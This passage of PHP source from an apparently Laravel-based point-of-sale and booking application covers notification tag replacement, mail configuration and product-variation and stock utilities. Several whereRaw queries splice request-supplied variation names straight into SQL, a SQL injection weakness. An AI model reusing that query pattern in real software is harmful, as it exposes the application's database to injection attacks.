$booking->customer->custom_field1 ?? ''; $data[$key] = str_replace('{contact_custom_field_1}', $contact_custom_field_1, $data[$key]); } if (strpos($value, '{contact_custom_field_2}') !== false) { $contact_custom_field_2 = $booking->customer->custom_field2 ?? ''; $data[$key] = str_replace('{contact_custom_field_2}', $contact_custom_field_2, $data[$key]); } if (strpos($value, '{contact_custom_field_3}') !== false) { $contact_custom_field_3 = $booking->customer->custom_field3 ?? ''; $data[$key] = str_replace('{contact_custom_field_3}', $contact_custom_field_3, $data[$key]); } if (strpos($value, '{contact_custom_field_4}') !== false) { $contact_custom_field_4 = $booking->customer->custom_field4 ?? ''; $data[$key] = str_replace('{contact_custom_field_4}', $contact_custom_field_4, $data[$key]); } if (strpos($value, '{contact_custom_field_5}') !== false) { $contact_custom_field_5 = $booking->customer->custom_field5 ?? ''; $data[$key] = str_replace('{contact_custom_field_5}', $contact_custom_field_5, $data[$key]); } if (strpos($value, '{contact_custom_field_6}') !== false) { $contact_custom_field_6 = $booking->customer->custom_field6 ?? ''; $data[$key] = str_replace('{contact_custom_field_6}', $contact_custom_field_6, $data[$key]); } if (strpos($value, '{contact_custom_field_7}') !== false) { $contact_custom_field_7 = $booking->customer->custom_field7 ?? ''; $data[$key] = str_replace('{contact_custom_field_7}', $contact_custom_field_7, $data[$key]); } if (strpos($value, '{contact_custom_field_8}') !== false) { $contact_custom_field_8 = $booking->customer->custom_field8 ?? ''; $data[$key] = str_replace('{contact_custom_field_8}', $contact_custom_field_8, $data[$key]); } if (strpos($value, '{contact_custom_field_9}') !== false) { $contact_custom_field_9 = $booking->customer->custom_field9 ?? ''; $data[$key] = str_replace('{contact_custom_field_9}', $contact_custom_field_9, $data[$key]); } if (strpos($value, '{contact_custom_field_10}') !== false) { $contact_custom_field_10 = $booking->customer->custom_field10 ?? ''; $data[$key] = str_replace('{contact_custom_field_10}', $contact_custom_field_10, $data[$key]); } //Replace table if (strpos($value, '{table}') !== false) { $table = ! empty($booking->table->name) ? $booking->table->name : ''; $data[$key] = str_replace('{table}', $table, $data[$key]); } //Replace start_time if (strpos($value, '{start_time}') !== false) { $start_time = $this->format_date($booking->booking_start, true); $data[$key] = str_replace('{start_time}', $start_time, $data[$key]); } //Replace end_time if (strpos($value, '{end_time}') !== false) { $end_time = $this->format_date($booking->booking_end, true); $data[$key] = str_replace('{end_time}', $end_time, $data[$key]); } //Replace location if (strpos($value, '{location}') !== false) { $location = $booking->location->name; $data[$key] = str_replace('{location}', $location, $data[$key]); } if (strpos($value, '{location_name}') !== false) { $location = $booking->location->name; $data[$key] = str_replace('{location_name}', $location, $data[$key]); } if (strpos($value, '{location_address}') !== false) { $location_address = $booking->location->location_address; $data[$key] = str_replace('{location_address}', $location_address, $data[$key]); } if (strpos($value, '{location_email}') !== false) { $location_email = $booking->location->email; $data[$key] = str_replace('{location_email}', $location_email, $data[$key]); } if (strpos($value, '{location_phone}') !== false) { $location_phone = $booking->location->mobile; $data[$key] = str_replace('{location_phone}', $location_phone, $data[$key]); } if (strpos($value, '{location_custom_field_1}') !== false) { $location_custom_field_1 = $booking->location->custom_field1; $data[$key] = str_replace('{location_custom_field_1}', $location_custom_field_1, $data[$key]); } if (strpos($value, '{location_custom_field_2}') !== false) { $location_custom_field_2 = $booking->location->custom_field2; $data[$key] = str_replace('{location_custom_field_2}', $location_custom_field_2, $data[$key]); } if (strpos($value, '{location_custom_field_3}') !== false) { $location_custom_field_3 = $booking->location->custom_field3; $data[$key] = str_replace('{location_custom_field_3}', $location_custom_field_3, $data[$key]); } if (strpos($value, '{location_custom_field_4}') !== false) { $location_custom_field_4 = $booking->location->custom_field4; $data[$key] = str_replace('{location_custom_field_4}', $location_custom_field_4, $data[$key]); } //Replace service_staff if (strpos($value, '{service_staff}') !== false) { $service_staff = ! empty($booking->waiter) ? $booking->waiter->user_full_name : ''; $data[$key] = str_replace('{service_staff}', $service_staff, $data[$key]); } //Replace service_staff if (strpos($value, '{correspondent}') !== false) { $correspondent = ! empty($booking->correspondent) ? $booking->correspondent->user_full_name : ''; $data[$key] = str_replace('{correspondent}', $correspondent, $data[$key]); } //Replace business_name if (strpos($value, '{business_name}') !== false) { $business_name = $business->name; $data[$key] = str_replace('{business_name}', $business_name, $data[$key]); } //Replace business_logo if (strpos($value, '{business_logo}') !== false) { $logo_name = $business->logo; $business_logo = ! empty($logo_name) ? '<img src="'.url('storage/business_logos/'.$logo_name).'" alt="Business Logo" >' : ''; $data[$key] = str_replace('{business_logo}', $business_logo, $data[$key]); } } return $data; } public function recurringInvoiceNotification($user, $invoice) { $user->notify(new RecurringInvoiceNotification($invoice)); } public function recurringExpenseNotification($user, $expense) { $user->notify(new RecurringExpenseNotification($expense)); } public function configureEmail($notificationInfo = [], $check_superadmin = true) { $email_settings = ! empty($notificationInfo['email_settings']) ? $notificationInfo['email_settings'] : []; if (empty($email_settings) && session()->has('business')) { $email_settings = request()->session()->get('business.email_settings'); } $is_superadmin_settings_allowed = System::getProperty('allow_email_settings_to_businesses'); //Check if prefered email setting is superadmin email settings if (! empty($is_superadmin_settings_allowed) && ! empty($email_settings['use_superadmin_settings']) && $check_superadmin) { $email_settings['mail_driver'] = config('mail.mailers.smtp.transport'); $email_settings['mail_host'] = config('mail.mailers.smtp.host'); $email_settings['mail_port'] = config('mail.mailers.smtp.port'); $email_settings['mail_username'] = config('mail.mailers.smtp.username'); $email_settings['mail_password'] = config('mail.mailers.smtp.password'); $email_settings['mail_encryption'] = config('mail.mailers.smtp.encryption'); $email_settings['mail_from_address'] = config('mail.mailers.smtp.address'); } $mail_driver = ! empty($email_settings['mail_driver']) ? $email_settings['mail_driver'] : 'smtp'; Config::set('mail.driver', $mail_driver); Config::set('mail.host', $email_settings['mail_host']); Config::set('mail.port', $email_settings['mail_port']); Config::set('mail.username', $email_settings['mail_username']); Config::set('mail.password', $email_settings['mail_password']); Config::set('mail.encryption', $email_settings['mail_encryption']); Config::set('mail.from.address', $email_settings['mail_from_address']); Config::set('mail.from.name', $email_settings['mail_from_name']); } public function replaceHmsBookingTags($data, $transaction, $adults, $childrens, $customer){ $business = Business::findOrFail($transaction->business_id); foreach ($data as $key => $value) { //Replace contact name if (strpos($value, '{customer_name}') !== false) { $data[$key] = str_replace('{customer_name}',$customer->name , $data[$key]); } //Replace business name if (strpos($value, '{business_name}') !== false) { $data[$key] = str_replace('{business_name}',$business->name, $data[$key]); } //Replace business name if (strpos($value, '{business_name}') !== false) { $data[$key] = str_replace('{business_name}',$business->name, $data[$key]); } //Replace business_logo if (strpos($value, '{business_logo}') !== false) { $logo_name = $business->logo; $business_logo = ! empty($logo_name) ? '<img src="'.url('storage/business_logos/'.$logo_name).'" alt="Business Logo" >' : ''; $data[$key] = str_replace('{business_logo}', $business_logo, $data[$key]); } //Replace business id if (strpos($value, '{booking_id}') !== false) { $data[$key] = str_replace('{booking_id}',$transaction->ref_no, $data[$key]); } //Replace business status if (strpos($value, '{booking_status}') !== false) { $data[$key] = str_replace('{booking_status}',$transaction->status, $data[$key]); } //Replace arrival date if (strpos($value, '{arrival_date}') !== false) { $start_date = $this->format_date($transaction->hms_booking_arrival_date_time, true); $data[$key] = str_replace('{arrival_date}',$start_date, $data[$key]); } //Replace arrival date if (strpos($value, '{departure_date}') !== false) { $end_time = $this->format_date($transaction->hms_booking_departure_date_time, true); $data[$key] = str_replace('{departure_date}',$end_time, $data[$key]); } //Replace adults if (strpos($value, '{adults}') !== false) { $data[$key] = str_replace('{adults}',$adults, $data[$key]); } //Replace childrens if (strpos($value, '{childrens}') !== false) { $data[$key] = str_replace('{childrens}',$childrens, $data[$key]); } } return $data; } } Utils/ProductUtil.php 0000644 00000322054 15001146510 0010632 0 ustar 00 <?php namespace App\Utils; use App\Business; use App\BusinessLocation; use App\Discount; use App\Media; use App\Product; use App\ProductRack; use App\ProductVariation; use App\PurchaseLine; use App\TaxRate; use App\Transaction; use App\TransactionSellLine; use App\TransactionSellLinesPurchaseLines; use App\Unit; use App\Variation; use App\VariationGroupPrice; use App\VariationLocationDetails; use App\VariationTemplate; use App\VariationValueTemplate; use Illuminate\Support\Facades\DB; class ProductUtil extends Util { /** * Create single type product variation * * @param (int or object) $product * @param $sku * @param $purchase_price * @param $dpp_inc_tax (default purchase pric including tax) * @param $profit_percent * @param $selling_price * @param $combo_variations = [] * @return bool */ public function createSingleProductVariation($product, $sku, $purchase_price, $dpp_inc_tax, $profit_percent, $selling_price, $selling_price_inc_tax, $combo_variations = []) { if (! is_object($product)) { $product = Product::find($product); } //create product variations $product_variation_data = [ 'name' => 'DUMMY', 'is_dummy' => 1, ]; $product_variation = $product->product_variations()->create($product_variation_data); //create variations $variation_data = [ 'name' => 'DUMMY', 'product_id' => $product->id, 'sub_sku' => $sku, 'default_purchase_price' => $this->num_uf($purchase_price), 'dpp_inc_tax' => $this->num_uf($dpp_inc_tax), 'profit_percent' => $this->num_uf($profit_percent), 'default_sell_price' => $this->num_uf($selling_price), 'sell_price_inc_tax' => $this->num_uf($selling_price_inc_tax), 'combo_variations' => $combo_variations, ]; $variation = $product_variation->variations()->create($variation_data); Media::uploadMedia($product->business_id, $variation, request(), 'variation_images'); return true; } /** * Create variable type product variation * * @param (int or object) $product * @param $input_variations * @return bool */ public function createVariableProductVariations($product, $input_variations, $sku_type, $business_id = null, ) { if (! is_object($product)) { $product = Product::find($product); } //create product variations foreach ($input_variations as $key => $value) { $images = []; $variation_template_name = ! empty($value['name']) ? $value['name'] : null; $variation_template_id = ! empty($value['variation_template_id']) ? $value['variation_template_id'] : null; if (empty($variation_template_id)) { if ($variation_template_name != 'DUMMY') { $variation_template = VariationTemplate::where('business_id', $business_id) ->whereRaw('LOWER(name)="'.strtolower($variation_template_name).'"') ->with(['values']) ->first(); if (empty($variation_template)) { $variation_template = VariationTemplate::create([ 'name' => $variation_template_name, 'business_id' => $business_id, ]); } $variation_template_id = $variation_template->id; } } else { $variation_template = VariationTemplate::with(['values'])->find($value['variation_template_id']); $variation_template_id = $variation_template->id; $variation_template_name = $variation_template->name; } $product_variation_data = [ 'name' => $variation_template_name, 'product_id' => $product->id, 'is_dummy' => 0, 'variation_template_id' => $variation_template_id, ]; $product_variation = ProductVariation::create($product_variation_data); //create variations if (! empty($value['variations'])) { $variation_data = []; $c = Variation::withTrashed() ->where('product_id', $product->id) ->count() + 1; foreach ($value['variations'] as $k => $v) { //skip hidden variations if (isset($v['is_hidden']) && $v['is_hidden'] == 1) { continue; } $sub_sku = empty($v['sub_sku']) ? $this->generateSubSku($product->sku, $c, $product->barcode_type, $v['value'], $sku_type) : $v['sub_sku']; $variation_value_id = ! empty($v['variation_value_id']) ? $v['variation_value_id'] : null; $variation_value_name = ! empty($v['value']) ? $v['value'] : null; if (! empty($variation_value_id)) { $variation_value = $variation_template->values->filter(function ($item) use ($variation_value_id) { return $item->id == $variation_value_id; })->first(); $variation_value_name = $variation_value->name; } else { if (! empty($variation_template)) { $variation_value = VariationValueTemplate::where('variation_template_id', $variation_template->id) ->whereRaw('LOWER(name)="'.$variation_value_name.'"') ->first(); if (empty($variation_value)) { $variation_value = VariationValueTemplate::create([ 'name' => $variation_value_name, 'variation_template_id' => $variation_template->id, ]); } $variation_value_id = $variation_value->id; $variation_value_name = $variation_value->name; } else { $variation_value_id = null; $variation_value_name = $variation_value_name; } } $variation_data[] = [ 'name' => $variation_value_name, 'variation_value_id' => $variation_value_id, 'product_id' => $product->id, 'sub_sku' => $sub_sku, 'default_purchase_price' => $this->num_uf($v['default_purchase_price']), 'dpp_inc_tax' => $this->num_uf($v['dpp_inc_tax']), 'profit_percent' => $this->num_uf($v['profit_percent']), 'default_sell_price' => $this->num_uf($v['default_sell_price']), 'sell_price_inc_tax' => $this->num_uf($v['sell_price_inc_tax']), ]; $c++; $images[] = 'variation_images_'.$key.'_'.$k; } $variations = $product_variation->variations()->createMany($variation_data); $i = 0; foreach ($variations as $variation) { Media::uploadMedia($product->business_id, $variation, request(), $images[$i]); $i++; } } } } /** * Update variable type product variation * * @param $product_id * @param $input_variations_edit * @return bool */ public function updateVariableProductVariations($product_id, $input_variations_edit, $sku_type) { $product = Product::find($product_id); //Update product variations $product_variation_ids = []; $variations_ids = []; foreach ($input_variations_edit as $key => $value) { $product_variation_ids[] = $key; $product_variation = ProductVariation::find($key); $product_variation->name = $value['name']; $product_variation->save(); //Update existing variations if (! empty($value['variations_edit'])) { foreach ($value['variations_edit'] as $k => $v) { $data = [ 'name' => $v['value'], 'default_purchase_price' => $this->num_uf($v['default_purchase_price']), 'dpp_inc_tax' => $this->num_uf($v['dpp_inc_tax']), 'profit_percent' => $this->num_uf($v['profit_percent']), 'default_sell_price' => $this->num_uf($v['default_sell_price']), 'sell_price_inc_tax' => $this->num_uf($v['sell_price_inc_tax']), ]; if (! empty($v['sub_sku'])) { $data['sub_sku'] = $v['sub_sku']; } $variation = Variation::where('id', $k) ->where('product_variation_id', $key) ->first(); $variation->update($data); Media::uploadMedia($product->business_id, $variation, request(), 'edit_variation_images_'.$key.'_'.$k); $variations_ids[] = $k; } } //Add new variations if (! empty($value['variations'])) { $variation_data = []; $c = Variation::withTrashed() ->where('product_id', $product->id) ->count() + 1; $media = []; foreach ($value['variations'] as $k => $v) { $sub_sku = empty($v['sub_sku']) ? $this->generateSubSku($product->sku, $c, $product->barcode_type, $v['value'] , $sku_type) : $v['sub_sku']; $variation_value_name = ! empty($v['value']) ? $v['value'] : null; $variation_value_id = null; if (! empty($product_variation->variation_template_id)) { $variation_value = VariationValueTemplate::where('variation_template_id', $product_variation->variation_template_id) ->whereRaw('LOWER(name)="'.$v['value'].'"') ->first(); if (empty($variation_value)) { $variation_value = VariationValueTemplate::create([ 'name' => $v['value'], 'variation_template_id' => $product_variation->variation_template_id, ]); } $variation_value_id = $variation_value->id; } $variation_data[] = [ 'name' => $variation_value_name, 'variation_value_id' => $variation_value_id, 'product_id' => $product->id, 'sub_sku' => $sub_sku, 'default_purchase_price' => $this->num_uf($v['default_purchase_price']), 'dpp_inc_tax' => $this->num_uf($v['dpp_inc_tax']), 'profit_percent' => $this->num_uf($v['profit_percent']), 'default_sell_price' => $this->num_uf($v['default_sell_price']), 'sell_price_inc_tax' => $this->num_uf($v['sell_price_inc_tax']), ]; $c++; $media[] = 'variation_images_'.$key.'_'.$k; } $new_variations = $product_variation->variations()->createMany($variation_data); $i = 0; foreach ($new_variations as $new_variation) { $variations_ids[] = $new_variation->id; Media::uploadMedia($product->business_id, $new_variation, request(), $media[$i]); $i++; } } } //get removed variations $removed_variations = Variation::whereNotIn('id', $variations_ids) ->where('product_id', $product->id) ->pluck('id'); foreach ($removed_variations as $removed_variation_id) { //Check if purchase or sell exist for the deletable variation $count_purchase = PurchaseLine::join( 'transactions as T', 'purchase_lines.transaction_id', '=', 'T.id' ) ->where('T.type', 'purchase') ->where('T.status', 'received') ->where('T.business_id', $product->business_id) ->where('purchase_lines.product_id', $product->id) ->where('purchase_lines.variation_id', $removed_variation_id) ->count(); $count_sell = TransactionSellLine::join( 'transactions as T', 'transaction_sell_lines.transaction_id', '=', 'T.id' ) ->where('T.type', 'sell') ->where('T.status', 'final') ->where('T.business_id', $product->business_id) ->where('transaction_sell_lines.product_id', $product->id) ->where('transaction_sell_lines.variation_id', $removed_variation_id) ->count(); $is_variation_delatable = $count_purchase > 0 || $count_sell > 0 ? false : true; //if purchase sell dont exists delete the variation if ($is_variation_delatable) { Variation::where('id', $removed_variation_id) ->delete(); } else { throw new \Exception(__('lang_v1.purchase_already_exist')); } } ProductVariation::where('product_id', $product_id) ->whereNotIn('id', $product_variation_ids) ->delete(); } /** * Checks if products has manage stock enabled then Updates quantity for product and its * variations * * @param $location_id * @param $product_id * @param $variation_id * @param $new_quantity * @param $old_quantity = 0 * @param $number_format = null * @param $uf_data = true, if false it will accept numbers in database format * @return bool */ public function updateProductQuantity($location_id, $product_id, $variation_id, $new_quantity, $old_quantity = 0, $number_format = null, $uf_data = true) { if ($uf_data) { $qty_difference = $this->num_uf($new_quantity, $number_format) - $this->num_uf($old_quantity, $number_format); } else { $qty_difference = $new_quantity - $old_quantity; } $product = Product::find($product_id); //Check if stock is enabled or not. if ($product->enable_stock == 1 && $qty_difference != 0) { $variation = Variation::where('id', $variation_id) ->where('product_id', $product_id) ->first(); //Add quantity in VariationLocationDetails $variation_location_d = VariationLocationDetails::where('variation_id', $variation->id) ->where('product_id', $product_id) ->where('product_variation_id', $variation->product_variation_id) ->where('location_id', $location_id) ->first(); if (empty($variation_location_d)) { $variation_location_d = new VariationLocationDetails(); $variation_location_d->variation_id = $variation->id; $variation_location_d->product_id = $product_id; $variation_location_d->location_id = $location_id; $variation_location_d->product_variation_id = $variation->product_variation_id; $variation_location_d->qty_available = 0; } $variation_location_d->qty_available += $qty_difference; $variation_location_d->save(); } return true; } /** * Checks if products has manage stock enabled then Decrease quantity for product and its variations * * @param $product_id * @param $variation_id * @param $location_id * @param $new_quantity * @param $old_quantity = 0 * @return bool */ public function decreaseProductQuantity($product_id, $variation_id, $location_id, $new_quantity, $old_quantity = 0) { $qty_difference = $new_quantity - $old_quantity; $product = Product::find($product_id); //Check if stock is enabled or not. if ($product->enable_stock == 1) { //Decrement Quantity in variations location table $details = VariationLocationDetails::where('variation_id', $variation_id) ->where('product_id', $product_id) ->where('location_id', $location_id) ->first(); //If location details not exists create new one if (empty($details)) { $variation = Variation::find($variation_id); $details = VariationLocationDetails::create([ 'product_id' => $product_id, 'location_id' => $location_id, 'variation_id' => $variation_id, 'product_variation_id' => $variation->product_variation_id, 'qty_available' => 0, ]); } $details->decrement('qty_available', $qty_difference); } return true; } /** * Decrease the product quantity of combo sub-products * * @param $combo_details * @param $location_id * @return void */ public function decreaseProductQuantityCombo($combo_details, $location_id) { //product_id = child product id //variation id is child product variation id foreach ($combo_details as $details) { $this->decreaseProductQuantity( $details['product_id'], $details['variation_id'], $location_id, $details['quantity'] ); } } /** * Get all details for a product from its variation id * * @param int $variation_id * @param int $business_id * @param int $location_id * @param bool $check_qty (If false qty_available is not checked) * @return array */ public function getDetailsFromVariation($variation_id, $business_id, $location_id = null, $check_qty = true) { $query = Variation::join('products AS p', 'variations.product_id', '=', 'p.id') ->join('product_variations AS pv', 'variations.product_variation_id', '=', 'pv.id') ->leftjoin('variation_location_details AS vld', 'variations.id', '=', 'vld.variation_id') ->leftjoin('units', 'p.unit_id', '=', 'units.id') ->leftjoin('units as u', 'p.secondary_unit_id', '=', 'u.id') ->leftjoin('brands', function ($join) { $join->on('p.brand_id', '=', 'brands.id') ->whereNull('brands.deleted_at'); }) ->where('p.business_id', $business_id) ->where('variations.id', $variation_id); //Add condition for check of quantity. (if stock is not enabled or qty_available > 0) if ($check_qty) { $query->where(function ($query) { $query->where('p.enable_stock', '!=', 1) ->orWhere('vld.qty_available', '>', 0); }); } if (! empty($location_id) && $check_qty) { //Check for enable stock, if enabled check for location id. $query->where(function ($query) use ($location_id) { $query->where('p.enable_stock', '!=', 1) ->orWhere('vld.location_id', $location_id); }); } $product = $query->select( DB::raw("IF(pv.is_dummy = 0, CONCAT(p.name, ' (', pv.name, ':',variations.name, ')'), p.name) AS product_name"), 'p.id as product_id', 'p.brand_id', 'p.category_id', 'p.tax as tax_id', 'p.enable_stock', 'p.enable_sr_no', 'p.type as product_type', 'p.name as product_actual_name', 'p.warranty_id', 'p.product_custom_field1', 'p.product_custom_field2', 'p.product_custom_field3', 'p.product_custom_field4', 'p.product_custom_field5', 'p.product_custom_field6', 'p.product_custom_field7', 'p.product_custom_field8', 'p.product_custom_field9', 'p.product_custom_field10', 'p.product_custom_field11', 'p.product_custom_field12', 'p.product_custom_field13', 'p.product_custom_field14', 'p.product_custom_field15', 'p.product_custom_field16', 'p.product_custom_field17', 'p.product_custom_field18', 'p.product_custom_field19', 'p.product_custom_field20', 'pv.name as product_variation_name', 'pv.is_dummy as is_dummy', 'variations.name as variation_name', 'variations.sub_sku', 'p.barcode_type', 'vld.qty_available', 'variations.default_sell_price', 'variations.sell_price_inc_tax', 'variations.id as variation_id', 'variations.combo_variations', //Used in combo products 'units.short_name as unit', 'units.id as unit_id', 'units.allow_decimal as unit_allow_decimal', 'u.short_name as second_unit', 'brands.name as brand', DB::raw('(SELECT purchase_price_inc_tax FROM purchase_lines WHERE variation_id=variations.id ORDER BY id DESC LIMIT 1) as last_purchased_price') ) ->firstOrFail(); if ($product->product_type == 'combo') { if ($check_qty) { $product->qty_available = $this->calculateComboQuantity($location_id, $product->combo_variations); } $product->combo_products = $this->calculateComboDetails($location_id, $product->combo_variations); } return $product; } /** * Calculates the quantity of combo products based on * the quantity of variation items used. * * @param int $location_id * @param array $combo_variations * @return int */ public function calculateComboQuantity($location_id, $combo_variations) { //get stock of the items and calcuate accordingly. $combo_qty = 0; foreach ($combo_variations as $key => $value) { $variation = Variation::with(['product', 'variation_location_details' => function ($q) use ($location_id) { $q->where('location_id', $location_id); }])->findOrFail($value['variation_id']); $product = $variation->product; //Dont calculate stock if disabled if ($product->enable_stock != 1) { continue; } $vld = $variation->variation_location_details ->first(); $variation_qty = ! empty($vld) ? $vld->qty_available : 0; $multiplier = $this->getMultiplierOf2Units($product->unit_id, $value['unit_id']); if ($combo_qty == 0) { $combo_qty = ($variation_qty / $multiplier) / $combo_variations[$key]['quantity']; } else { $combo_qty = min($combo_qty, ($variation_qty / $multiplier) / $combo_variations[$key]['quantity']); } } return floor($combo_qty); } /** * Calculates the quantity of combo products based on * the quantity of variation items used. * * @param int $location_id * @param array $combo_variations * @return int */ public function calculateComboDetails($location_id, $combo_variations) { $details = []; foreach ($combo_variations as $key => $value) { $variation = Variation::with(['product', 'variation_location_details' => function ($q) use ($location_id) { $q->where('location_id', $location_id); }])->findOrFail($value['variation_id']); $vld = $variation->variation_location_details->first(); $variation_qty = ! empty($vld) ? $vld->qty_available : 0; $multiplier = $this->getMultiplierOf2Units($variation->product->unit_id, $value['unit_id']); $details[] = [ 'variation_id' => $value['variation_id'], 'product_id' => $variation->product_id, 'qty_required' => $this->num_uf($value['quantity']) * $multiplier, 'enable_stock' => $variation->product->enable_stock, ]; } return $details; } /** * Calculates the total amount of invoice * * @param array $products * @param int $tax_id * @param array $discount['discount_type', 'discount_amount'] * @return mixed (false, array) */ public function calculateInvoiceTotal($products, $tax_id, $discount = null, $uf_number = true) { if (empty($products)) { return false; } $output = ['total_before_tax' => 0, 'tax' => 0, 'discount' => 0, 'final_total' => 0]; //Sub Total foreach ($products as $product) { $unit_price_inc_tax = $uf_number ? $this->num_uf($product['unit_price_inc_tax']) : $product['unit_price_inc_tax']; $quantity = $uf_number ? $this->num_uf($product['quantity']) : $product['quantity']; $output['total_before_tax'] += $quantity * $unit_price_inc_tax; //Add modifier price to total if exists if (! empty($product['modifier_price'])) { foreach ($product['modifier_price'] as $key => $modifier_price) { $modifier_price = $uf_number ? $this->num_uf($modifier_price) : $modifier_price; $uf_modifier_price = $uf_number ? $this->num_uf($modifier_price) : $modifier_price; $modifier_qty = isset($product['modifier_quantity'][$key]) ? $product['modifier_quantity'][$key] : 0; $modifier_total = $uf_modifier_price * $modifier_qty; $output['total_before_tax'] += $modifier_total; } } } //Calculate discount if (is_array($discount)) { $discount_amount = $uf_number ? $this->num_uf($discount['discount_amount']) : $discount['discount_amount']; if ($discount['discount_type'] == 'fixed') { $output['discount'] = $discount_amount; } else { $output['discount'] = ($discount_amount / 100) * $output['total_before_tax']; } } //Tax $output['tax'] = 0; if (! empty($tax_id)) { $tax_details = TaxRate::find($tax_id); if (! empty($tax_details)) { $output['tax_id'] = $tax_id; $output['tax'] = ($tax_details->amount / 100) * ($output['total_before_tax'] - $output['discount']); } } //Calculate total $output['final_total'] = $output['total_before_tax'] + $output['tax'] - $output['discount']; return $output; } /** * Generates product sku * * @param string $string * @return generated sku (string) */ public function generateProductSku($string) { $business_id = request()->session()->get('user.business_id'); $sku_prefix = Business::where('id', $business_id)->value('sku_prefix'); return $sku_prefix.str_pad($string, 4, '0', STR_PAD_LEFT); } /** * Gives list of trending products * * @param int $business_id * @param array $filters * @return Obj */ public function getTrendingProducts($business_id, $filters = []) { $query = Transaction::join( 'transaction_sell_lines as tsl', 'transactions.id', '=', 'tsl.transaction_id' ) ->join('products as p', 'tsl.product_id', '=', 'p.id') ->leftjoin('units as u', 'u.id', '=', 'p.unit_id') ->where('transactions.business_id', $business_id) ->where('transactions.type', 'sell') ->where('transactions.status', 'final'); $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } if (! empty($filters['location_id'])) { $query->where('transactions.location_id', $filters['location_id']); } if (! empty($filters['category'])) { $query->where('p.category_id', $filters['category']); } if (! empty($filters['sub_category'])) { $query->where('p.sub_category_id', $filters['sub_category']); } if (! empty($filters['brand'])) { $query->where('p.brand_id', $filters['brand']); } if (! empty($filters['unit'])) { $query->where('p.unit_id', $filters['unit']); } if (! empty($filters['limit'])) { $query->limit($filters['limit']); } else { $query->limit(5); } if (! empty($filters['product_type'])) { $query->where('p.type', $filters['product_type']); } if (! empty($filters['start_date']) && ! empty($filters['end_date'])) { $query->whereBetween(DB::raw('date(transaction_date)'), [$filters['start_date'], $filters['end_date'], ]); } // $sell_return_query = "(SELECT SUM(TPL.quantity) FROM transactions AS T JOIN purchase_lines AS TPL ON T.id=TPL.transaction_id WHERE TPL.product_id=tsl.product_id AND T.type='sell_return'"; // if ($permitted_locations != 'all') { // $sell_return_query .= ' AND T.location_id IN (' // . implode(',', $permitted_locations) . ') '; // } // if (!empty($filters['start_date']) && !empty($filters['end_date'])) { // $sell_return_query .= ' AND date(T.transaction_date) BETWEEN \'' . $filters['start_date'] . '\' AND \'' . $filters['end_date'] . '\''; // } // $sell_return_query .= ')'; $products = $query->select( DB::raw('(SUM(tsl.quantity) - COALESCE(SUM(tsl.quantity_returned), 0)) as total_unit_sold'), 'p.name as product', 'u.short_name as unit', 'p.sku' )->whereNull('tsl.parent_sell_line_id') ->groupBy('tsl.product_id') ->orderBy('total_unit_sold', 'desc') ->get(); return $products; } /** * Gives list of products based on products id and variation id * * @param int $business_id * @param int $product_id * @param int $variation_id = null * @return Obj */ public function getDetailsFromProduct($business_id, $product_id, $variation_id = null) { $product = Product::leftjoin('variations as v', 'products.id', '=', 'v.product_id') ->whereNull('v.deleted_at') ->where('products.business_id', $business_id); if (! is_null($variation_id) && $variation_id !== '0') { $product->where('v.id', $variation_id); } $product->where('products.id', $product_id); $products = $product->select( 'products.id as product_id', 'products.name as product_name', 'v.id as variation_id', 'v.name as variation_name' ) ->get(); return $products; } /** * F => D (Previous product Increase) * D => F (All product decrease) * F => F (Newly added product drerease) * * @param object $transaction_before * @param object $transaction * @param array $input * @return void */ public function adjustProductStockForInvoice($status_before, $transaction, $input, $uf_data = true) { if ($status_before == 'final' && $transaction->status == 'draft') { foreach ($input['products'] as $product) { if (! empty($product['transaction_sell_lines_id'])) { $this->updateProductQuantity($input['location_id'], $product['product_id'], $product['variation_id'], $product['quantity'], 0, null, false); //Adjust quantity for combo items. if (isset($product['product_type']) && $product['product_type'] == 'combo') { //Giving quantity in minus will increase the qty foreach ($product['combo'] as $value) { $this->updateProductQuantity($input['location_id'], $value['product_id'], $value['variation_id'], $value['quantity'], 0, null, false); } // $this->updateEditedSellLineCombo($product['combo'], $input['location_id']); } } } } elseif ($status_before == 'draft' && $transaction->status == 'final') { foreach ($input['products'] as $product) { $uf_quantity = $uf_data ? $this->num_uf($product['quantity']) : $product['quantity']; $this->decreaseProductQuantity( $product['product_id'], $product['variation_id'], $input['location_id'], $uf_quantity ); //Adjust quantity for combo items. if (isset($product['product_type']) && $product['product_type'] == 'combo') { $this->decreaseProductQuantityCombo($product['combo'], $input['location_id']); //$this->decreaseProductQuantityCombo($product['variation_id'], $input['location_id'], $uf_quantity); } } } elseif ($status_before == 'final' && $transaction->status == 'final') { foreach ($input['products'] as $product) { if (empty($product['transaction_sell_lines_id'])) { $uf_quantity = $uf_data ? $this->num_uf($product['quantity']) : $product['quantity']; $this->decreaseProductQuantity( $product['product_id'], $product['variation_id'], $input['location_id'], $uf_quantity ); //Adjust quantity for combo items. if (isset($product['product_type']) && $product['product_type'] == 'combo') { $this->decreaseProductQuantityCombo($product['combo'], $input['location_id']); //$this->decreaseProductQuantityCombo($product['variation_id'], $input['location_id'], $uf_quantity); } } } } } /** * Updates variation from purchase screen * * @param array $variation_data * @return void */ public function updateProductFromPurchase($variation_data) { $variation_details = Variation::where('id', $variation_data['variation_id']) ->with(['product', 'product.product_tax']) ->first(); $tax_rate = 0; if (! empty($variation_details->product->product_tax->amount)) { $tax_rate = $variation_details->product->product_tax->amount; } if (! isset($variation_data['sell_price_inc_tax'])) { $variation_data['sell_price_inc_tax'] = $variation_details->sell_price_inc_tax; } if (($variation_details->default_purchase_price != $variation_data['pp_without_discount']) || ($variation_details->sell_price_inc_tax != $variation_data['sell_price_inc_tax']) ) { //Set default purchase price exc. tax $variation_details->default_purchase_price = $variation_data['pp_without_discount']; //Set default purchase price inc. tax $variation_details->dpp_inc_tax = $this->calc_percentage($variation_details->default_purchase_price, $tax_rate, $variation_details->default_purchase_price); //Set default sell price inc. tax $variation_details->sell_price_inc_tax = $variation_data['sell_price_inc_tax']; //set sell price inc. tax $variation_details->default_sell_price = $this->calc_percentage_base($variation_details->sell_price_inc_tax, $tax_rate); //set profit margin $variation_details->profit_percent = $this->get_percent($variation_details->default_purchase_price, $variation_details->default_sell_price); $variation_details->save(); } } /** * Generated SKU based on the barcode type. * * @param string $sku * @param string $c * @param string $barcode_type * @return void */ public function generateSubSku($sku, $c, $barcode_type, $value, $sku_type) { // old formate if($sku_type == 'with_out_variation'){ $sub_sku = $sku.$c; if 